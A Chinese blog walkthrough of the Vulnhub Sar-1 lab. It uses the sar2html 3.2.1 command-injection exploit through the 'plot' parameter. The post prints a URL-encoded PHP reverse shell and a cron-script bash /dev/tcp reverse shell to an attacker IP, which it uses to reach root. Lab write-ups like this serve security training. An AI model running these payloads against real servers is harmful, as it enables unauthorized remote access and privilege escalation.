当前位置:网站首页>Vulnhub:Sar-1
Vulnhub:Sar-1
2022-08-04 05:27:00 【Ki10Moc】
信息收集
锁靶机IP
只开放了80端口
目录扫描
robots.txt下记录的网址
根据暴露出的信息试着找下有没有exp

因为是php站点,这里就使用第二个进行测试
└─# batcat 47204.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: 47204.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Exploit Title: sar2html Remote Code Execution
2 │ # Date: 01/08/2019
3 │ # Exploit Author: Furkan KAYAPINAR
4 │ # Vendor Homepage:https://github.com/cemtan/sar2html
5 │ # Software Link: https://sourceforge.net/projects/sar2html/
6 │ # Version: 3.2.1
7 │ # Tested on: Centos 7
8 │
9 │ In web application you will see index.php?plot url extension.
10 │
11 │ http://<ipaddr>/index.php?plot=;<command-here> will execute
12 │ the command you entered. After command injection press "select # host" then your command's
13 │ output will appear bottom side of the scroll screen.
访问网站的index.php然后传参即可rce
反弹shell
这里选择php反弹shell
http://192.168.30.136/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.30.128%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
url编码一下
因为是ubuntu的靶机,所有python反弹应该也是可以的
然后用脚本枚举提权
给一下权限
chmod 777 linpeas.sh

其中发现一段sudo权限
cat finally.sh
#!/bin/sh
./write.sh

使用计划任务提权
发现finally在以sudo的权限运行write的脚本
那这里我们如果重写write的内容,就可以尝试反弹一个root的shell
write.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.30.128/5678 0>&1
该脚本位每5分钟就执行一次
所以上传完重写的write后开个端口监听等着就完事了
拿到root后就cat root.txt即可
这里我一直等不到shell出来,就没有截图了
靶机整体简单,就是 www-data->root这里需要理解一下,执行的脚本是绕过了love用户直接拿到root。
边栏推荐
猜你喜欢

scrapy 爬取当当图书名字图片

PHP实现异步执行程序

CentOS7 —— yum安装mysql

iptables防火墙

The cost of automated testing is high and the effect is poor, so what is the significance of automated testing?

解决安装nbextensions后使用Jupyter Notebook时出现template_paths相关错误的问题

Wwise入门和实战

Unity自动生成阻挡Collider的GameObject工具

CentOS7 - yum install mysql

FLV格式详解
随机推荐
TensorRTx-YOLOv5工程解读(一)
FFmpeg源码分析:avformat_open_input
C1认证之web基础知识及习题——我的学习笔记
webrtc中的视频编码(一) 视频编码模块轮廓
webrtc中的任务队列TaskQueue
谷粒商城-基础篇(项目简介&项目搭建)
OpenGLES 学习之帧缓存
Unity行为树AI分享
跨域问题的解决
PHP实现异步执行程序
Wwise入门和实战
7.16 Day22---MYSQL(Dao模式封装JDBC)
[原创]STL容器map和unordered_map性能,创建,插入,随机访问速度对比!
iptables防火墙
程序员的财富观
【论文阅读笔记】无监督行人重识别中的采样策略
跳转页面实时调用后台接口,更新页面数据
canal实现mysql数据同步
Cannot read properties of null (reading 'insertBefore')
嵌入式系统驱动初级【4】——字符设备驱动基础下_并发控制